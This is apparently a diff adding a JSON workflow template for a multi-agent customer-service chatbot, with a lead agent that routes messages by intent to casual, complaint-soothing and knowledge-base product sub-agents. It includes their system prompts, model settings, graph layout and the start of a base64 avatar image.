+ "sys_prompt": "# Role \n\nYou are **Customer Server Agent**. Classify every user message; handle **contact** yourself. This is a multi-agent system.\n\n## Categories \n\n1. **contact** \u2013 user gives phone, e\u2011mail, WeChat, Line, Discord, etc. \n\n2. **casual** \u2013 small talk, not about the product. \n\n3. **complain** \u2013 complaints or profanity about the product/service. \n\n4. **product** \u2013 questions on product use, appearance, function, or errors.\n\n## If contact \n\nReply with one random item below\u2014do not change wording or call sub\u2011agents: \n\n1. Okay, I've already written this down. What else can I do for you? \n\n2. Got it. What else can I do for you? \n\n3. Thanks for your trust! Our expert will contact you ASAP. Anything else I can help with? \n\n4. Thanks! Anything else I can do for you?\n\n\n---\n\n\n## Otherwise (casual\u202f/\u202fcomplain\u202f/\u202fproduct) \n\nLet Sub\u2011Agent returns its answer\n\n## Sub\u2011Agent \n\n- casual \u2192 **Casual Agent** \nThis is an agent for handles casual conversationk.\n\n- complain \u2192 **Soothe Agent** \nThis is an agent for handles complaints or emotional input.\n\n- product \u2192 **Product Agent** \nThis is an agent for handles product-related queries and can use the `Retrieval` tool.\n\n## Importance\n\n- When the Sub\u2011Agent returns its answer, forward that answer to the user verbatim \u2014 do not add, edit, or reason further.\n ",
+ "temperature": 0.1,
+ "temperatureEnabled": true,
+ "tools": [
+ {
+ "component_name": "Agent",
+ "id": "Agent:SlowKiwisBehave",
+ "name": "Casual Agent",
+ "params": {
+ "delay_after_error": 1,
+ "description": "This is an agent for handles casual conversationk.",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.3,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 1,
+ "max_rounds": 1,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Balance",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.2,
+ "prompts": [
+ {
+ "content": "{sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "You are a friendly and casual conversational assistant. \n\nYour primary goal is to engage users in light and enjoyable daily conversation. \n\n- Keep a natural, relaxed, and positive tone. \n\n- Avoid sensitive, controversial, or negative topics. \n\n- You may gently guide the conversation by introducing related casual topics if the user shows interest. \n\n",
+ "temperature": 0.5,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.85,
+ "user_prompt": "This is the order you need to send to the agent.",
+ "visual_files_var": ""
+ }
+ },
+ {
+ "component_name": "Agent",
+ "id": "Agent:PoorTaxesRescue",
+ "name": "Soothe Agent",
+ "params": {
+ "delay_after_error": 1,
+ "description": "This is an agent for handles complaints or emotional input.",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.3,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 1,
+ "max_rounds": 1,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Balance",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.2,
+ "prompts": [
+ {
+ "content": "{sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "You are an empathetic mood-soothing assistant. \n\nYour role is to comfort and encourage users when they feel upset or frustrated. \n\n- Use a warm, kind, and understanding tone. \n\n- Focus on showing empathy and emotional support rather than solving the problem directly. \n\n- Always encourage users with positive and reassuring statements. ",
+ "temperature": 0.5,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.85,
+ "user_prompt": "This is the order you need to send to the agent.",
+ "visual_files_var": ""
+ }
+ },
+ {
+ "component_name": "Agent",
+ "id": "Agent:SillyTurkeysRest",
+ "name": "Product Agent",
+ "params": {
+ "delay_after_error": 1,
+ "description": "This is an agent for handles product-related queries and can use the `Retrieval` tool.",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 2,
+ "max_tokens": 256,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "prompts": [
+ {
+ "content": "{sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Role \n\nYou are a Product Information Advisor with access to the **Retrieval** tool.\n\n# Workflow \n\n1. Run **Retrieval** with a focused query from the user\u2019s question. \n\n2. Draft the reply **strictly** from the returned passages. \n\n3. If nothing relevant is retrieved, reply: \n\n \u201cI cannot find relevant documents in the knowledge base.\u201d\n\n# Rules \n\n- No assumptions, guesses, or extra\u2011KB knowledge. \n\n- Factual, concise. Use bullets / numbers when helpful. \n\n",
+ "temperature": 0.1,
+ "temperatureEnabled": true,
+ "tools": [
+ {
+ "component_name": "Retrieval",
+ "name": "Retrieval",
+ "params": {
+ "cross_languages": [],
+ "description": "This is a product knowledge base",
+ "empty_response": "",
+ "kb_ids": [],
+ "keywords_similarity_weight": 0.7,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "rerank_id": "",
+ "similarity_threshold": 0.2,
+ "top_k": 1024,
+ "top_n": 8,
+ "use_kg": false
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.3,
+ "user_prompt": "This is the order you need to send to the agent.",
+ "visual_files_var": ""
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.3,
+ "user_prompt": "",
+ "visual_files_var": ""
+ }
+ },
+ "upstream": [
+ "begin"
+ ]
+ },
+ "Message:PurpleCitiesSee": {
+ "downstream": [],
+ "obj": {
+ "component_name": "Message",
+ "params": {
+ "content": [
+ "{Agent:RottenRiversDo@content}"
+ ]
+ }
+ },
+ "upstream": [
+ "Agent:RottenRiversDo"
+ ]
+ },
+ "begin": {
+ "downstream": [
+ "Agent:RottenRiversDo"
+ ],
+ "obj": {
+ "component_name": "Begin",
+ "params": {
+ "enablePrologue": true,
+ "inputs": {},
+ "mode": "conversational",
+ "prologue": "Hi! I'm an official AI customer service representative. How can I help you?"
+ }
+ },
+ "upstream": []
+ }
+ },
+ "globals": {
+ "sys.conversation_turns": 0,
+ "sys.files": [],
+ "sys.query": "",
+ "sys.user_id": ""
+ },
+ "graph": {
+ "edges": [
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__beginstart-Agent:RottenRiversDoend",
+ "source": "begin",
+ "sourceHandle": "start",
+ "target": "Agent:RottenRiversDo",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:RottenRiversDoagentBottom-Agent:SlowKiwisBehaveagentTop",
+ "source": "Agent:RottenRiversDo",
+ "sourceHandle": "agentBottom",
+ "target": "Agent:SlowKiwisBehave",
+ "targetHandle": "agentTop"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:RottenRiversDoagentBottom-Agent:PoorTaxesRescueagentTop",
+ "source": "Agent:RottenRiversDo",
+ "sourceHandle": "agentBottom",
+ "target": "Agent:PoorTaxesRescue",
+ "targetHandle": "agentTop"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:RottenRiversDoagentBottom-Agent:SillyTurkeysRestagentTop",
+ "source": "Agent:RottenRiversDo",
+ "sourceHandle": "agentBottom",
+ "target": "Agent:SillyTurkeysRest",
+ "targetHandle": "agentTop"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:SillyTurkeysResttool-Tool:CrazyShirtsKissend",
+ "source": "Agent:SillyTurkeysRest",
+ "sourceHandle": "tool",
+ "target": "Tool:CrazyShirtsKiss",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:RottenRiversDostart-Message:PurpleCitiesSeeend",
+ "source": "Agent:RottenRiversDo",
+ "sourceHandle": "start",
+ "target": "Message:PurpleCitiesSee",
+ "targetHandle": "end"
+ }
+ ],
+ "nodes": [
+ {
+ "data": {
+ "form": {
+ "enablePrologue": true,
+ "inputs": {},
+ "mode": "conversational",
+ "prologue": "Hi! I'm an official AI customer service representative. How can I help you?"
+ },
+ "label": "Begin",
+ "name": "begin"
+ },
+ "id": "begin",
+ "measured": {
+ "height": 48,
+ "width": 200
+ },
+ "position": {
+ "x": 50,
+ "y": 200
+ },
+ "selected": false,
+ "sourcePosition": "left",
+ "targetPosition": "right",
+ "type": "beginNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 2,
+ "max_tokens": 256,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "prompts": [
+ {
+ "content": "The user query is {sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Role \n\nYou are **Customer Server Agent**. Classify every user message; handle **contact** yourself. This is a multi-agent system.\n\n## Categories \n\n1. **contact** \u2013 user gives phone, e\u2011mail, WeChat, Line, Discord, etc. \n\n2. **casual** \u2013 small talk, not about the product. \n\n3. **complain** \u2013 complaints or profanity about the product/service. \n\n4. **product** \u2013 questions on product use, appearance, function, or errors.\n\n## If contact \n\nReply with one random item below\u2014do not change wording or call sub\u2011agents: \n\n1. Okay, I've already written this down. What else can I do for you? \n\n2. Got it. What else can I do for you? \n\n3. Thanks for your trust! Our expert will contact you ASAP. Anything else I can help with? \n\n4. Thanks! Anything else I can do for you?\n\n\n---\n\n\n## Otherwise (casual\u202f/\u202fcomplain\u202f/\u202fproduct) \n\nLet Sub\u2011Agent returns its answer\n\n## Sub\u2011Agent \n\n- casual \u2192 **Casual Agent** \nThis is an agent for handles casual conversationk.\n\n- complain \u2192 **Soothe Agent** \nThis is an agent for handles complaints or emotional input.\n\n- product \u2192 **Product Agent** \nThis is an agent for handles product-related queries and can use the `Retrieval` tool.\n\n## Importance\n\n- When the Sub\u2011Agent returns its answer, forward that answer to the user verbatim \u2014 do not add, edit, or reason further.\n ",
+ "temperature": 0.1,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.3,
+ "user_prompt": "",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Customer Server Agent"
+ },
+ "dragging": false,
+ "id": "Agent:RottenRiversDo",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 350,
+ "y": 198.88981333505626
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "This is an agent for handles casual conversationk.",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.3,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 1,
+ "max_rounds": 1,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Balance",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.2,
+ "prompts": [
+ {
+ "content": "{sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "You are a friendly and casual conversational assistant. \n\nYour primary goal is to engage users in light and enjoyable daily conversation. \n\n- Keep a natural, relaxed, and positive tone. \n\n- Avoid sensitive, controversial, or negative topics. \n\n- You may gently guide the conversation by introducing related casual topics if the user shows interest. \n\n",
+ "temperature": 0.5,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.85,
+ "user_prompt": "This is the order you need to send to the agent.",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Casual Agent"
+ },
+ "dragging": false,
+ "id": "Agent:SlowKiwisBehave",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 124.4782938105834,
+ "y": 402.1704532368496
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "This is an agent for handles complaints or emotional input.",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.3,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 1,
+ "max_rounds": 1,
+ "max_tokens": 4096,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "parameter": "Balance",
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.2,
+ "prompts": [
+ {
+ "content": "{sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "You are an empathetic mood-soothing assistant. \n\nYour role is to comfort and encourage users when they feel upset or frustrated. \n\n- Use a warm, kind, and understanding tone. \n\n- Focus on showing empathy and emotional support rather than solving the problem directly. \n\n- Always encourage users with positive and reassuring statements. ",
+ "temperature": 0.5,
+ "temperatureEnabled": true,
+ "tools": [],
+ "topPEnabled": false,
+ "top_p": 0.85,
+ "user_prompt": "This is the order you need to send to the agent.",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Soothe Agent"
+ },
+ "dragging": false,
+ "id": "Agent:PoorTaxesRescue",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 402.02090711979577,
+ "y": 363.3139199638186
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "This is an agent for handles product-related queries and can use the `Retrieval` tool.",
+ "exception_comment": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": null,
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 2,
+ "max_tokens": 256,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "prompts": [
+ {
+ "content": "{sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "# Role \n\nYou are a Product Information Advisor with access to the **Retrieval** tool.\n\n# Workflow \n\n1. Run **Retrieval** with a focused query from the user\u2019s question. \n\n2. Draft the reply **strictly** from the returned passages. \n\n3. If nothing relevant is retrieved, reply: \n\n \u201cI cannot find relevant documents in the knowledge base.\u201d\n\n# Rules \n\n- No assumptions, guesses, or extra\u2011KB knowledge. \n\n- Factual, concise. Use bullets / numbers when helpful. \n\n",
+ "temperature": 0.1,
+ "temperatureEnabled": true,
+ "tools": [
+ {
+ "component_name": "Retrieval",
+ "name": "Retrieval",
+ "params": {
+ "cross_languages": [],
+ "description": "This is a product knowledge base",
+ "empty_response": "",
+ "kb_ids": [],
+ "keywords_similarity_weight": 0.7,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "rerank_id": "",
+ "similarity_threshold": 0.2,
+ "top_k": 1024,
+ "top_n": 8,
+ "use_kg": false
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.3,
+ "user_prompt": "This is the order you need to send to the agent.",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Product Agent"
+ },
+ "dragging": false,
+ "id": "Agent:SillyTurkeysRest",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 684.0042670887832,
+ "y": 317.79626670112515
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "description": "This is an agent for a specific task.",
+ "user_prompt": "This is the order you need to send to the agent."
+ },
+ "label": "Tool",
+ "name": "flow.tool_0"
+ },
+ "dragging": false,
+ "id": "Tool:CrazyShirtsKiss",
+ "measured": {
+ "height": 48,
+ "width": 200
+ },
+ "position": {
+ "x": 659.7339736658578,
+ "y": 443.3638400568565
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "toolNode"
+ },
+ {
+ "data": {
+ "form": {
+ "content": [
+ "{Agent:RottenRiversDo@content}"
+ ]
+ },
+ "label": "Message",
+ "name": "Response"
+ },
+ "dragging": false,
+ "id": "Message:PurpleCitiesSee",
+ "measured": {
+ "height": 56,
+ "width": 200
+ },
+ "position": {
+ "x": 675.534293293706,
+ "y": 158.92309339708154
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "messageNode"
+ },
+ {
+ "data": {
+ "form": {
+ "text": "This is a multi-agent system for intelligent customer service processing based on user intent classification. It uses the lead-agent to identify the type of user needs, assign tasks to sub-agents for processing, and finally the lead agent outputs the results."
+ },
+ "label": "Note",
+ "name": "Workflow Overall Description"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 140,
+ "id": "Note:MoodyTurtlesCount",
+ "measured": {
+ "height": 140,
+ "width": 385
+ },
+ "position": {
+ "x": -59.311679338397,
+ "y": -2.2203733298874866
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 385
+ },
+ {
+ "data": {
+ "form": {
+ "text": "Answers will be given strictly according to the content retrieved from the knowledge base."
+ },
+ "label": "Note",
+ "name": "Product Agent "
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "id": "Note:ColdCoinsBathe",
+ "measured": {
+ "height": 136,
+ "width": 249
+ },
+ "position": {
+ "x": 994.4238924667025,
+ "y": 329.08949370720796
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode"
+ }
+ ]
+ },
+ "history": [],
+ "messages": [],
+ "path": [],
+ "retrieval": []
+ },
+ "avatar": "data:image/png;base64,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